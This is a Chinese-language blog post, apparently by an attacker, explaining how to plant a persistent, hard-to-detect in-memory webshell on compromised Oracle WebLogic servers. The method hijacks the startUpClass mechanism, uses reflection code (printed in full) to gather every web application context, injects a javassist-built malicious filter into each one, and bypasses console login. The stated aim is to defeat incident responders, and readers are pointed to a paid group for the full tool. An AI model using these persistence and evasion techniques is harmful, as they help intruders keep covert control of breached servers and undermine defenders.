最近遇到个挺恼火的事,刚通过某漏洞拿下的weblogic服务器被应急响应的小同学给下线了。于是最近在思考,怎么才能更好地去隐藏我们的内存马,让应急响应的小同学无法查杀。为什么不用javaagent?第一,麻烦,适配难度高。第二,很容易被应急响应查杀,只需要看一下jvm的启动参数即可知道是否存在javaagent的后门。
为啥公开了,因为我手里还有很多种方案的,包括tomcat,weblogic等等,发出来大家一起学习。大家努力,让应急响应的小同学今年全翻车。
看完各大安全厂商发布的蓝队锦囊就感觉挺扯淡,攻防本质在于人对于底层的理解,而不是夸夸其谈。
至于怎么查杀,琢磨琢磨,捉摸不透的话私信
简单来讲,就是weblogic在启动后,加载webapp之前,会根据你指定的startUpClass参数,去执行你指定的类。jar包位置只要在classpath中即可。当然,不懂的同学,可以去youtube上看一下印度老哥的一篇介绍,咖喱味口语还是很好玩的。https://www.youtube.com/watch?v=u2O9PuofoUI
在我测试后发现,weblogic在执行到我们的startUpClass的时候,各种runtime已经建立好了。也就是说,我们完全可以在startUpClass中植入基于filter的内存马,做到持久化方案。
所以,本小节的重点在于:
参考上一篇文章,在这里我就发一下代码了
java.lang.reflect.Method m = Class.forName("weblogic.t3.srvr.ServerRuntime").getDeclaredMethod("theOne");
m.setAccessible(true);
ServerRuntime serverRuntime = (ServerRuntime) m.invoke(null);
List<WebAppServletContext> list = new java.util.ArrayList();
for (weblogic.management.runtime.ApplicationRuntimeMBean applicationRuntime : serverRuntime.getApplicationRuntimes()) {
java.lang.reflect.Field childrenF = applicationRuntime.getClass().getSuperclass().getDeclaredField("children");
childrenF.setAccessible(true);
java.util.HashSet set = (java.util.HashSet) childrenF.get(applicationRuntime);
for (Object key : set) {
if (key.getClass().getName().equals("weblogic.servlet.internal.WebAppRuntimeMBeanImpl")) { Field contextF = key.getClass().getDeclaredField("context");
contextF.setAccessible(true);
WebAppServletContext context = (WebAppServletContext) contextF.get(key);
list.add(context);
}
}
}
return list;
在这里我是用另外一种方法,通过javaassist去组装一个内存马的filter类。为什么使用javaassist,主要基于以下几点考虑
javaassist组装类的代码如下,组装完成后,调用context.registerFilter
将我们的内存马注入到相应的web应用中。
这个功能原本在console控制台中,需要登陆才可以操作。但是既然我们已经有了weblogic服务器的权限,我们怎么可以跳过登录,直接操作修改某些参数呢?
我们来大致跟踪一下这块代码,在这里我以weblogic 12.2.1.4 为例
这一块的处理逻辑在com.bea.console.actions.core.classes.createclassdeployment.CreateClassDeployment#finish
中
获取DomainBean,然后操作就可以了。但是,如果你根据图中函数的流程获取domainBean,你大概率是无法操作的。原因有以下几点
又回到上面那段万能的获取context的源码了,稍微改造一下,即可获取未经动态代理的domainBean,让我们间接实现某些console控制台功能。再也不担心管理员删除console后无法操作某些功能了。这块代码大家用心去体会
然后我们模拟创建startUpClass的流程,即可完成通过代码创建的工作。
这玩意肯定是将某些配置写入到配置文件了,自己琢磨一下,毕竟是蓝军反治。
在这里我向所有的web应用都注入内存马了,防止失连掉线。效果如图
工具在这里我就不放了,有兴趣的同学加入我们团队的知识星球来获取工具的下载
我正在「宽字节安全」和朋友们讨论有趣的话题,你⼀起来吧?https://t.zsxq.com/qJe2JEi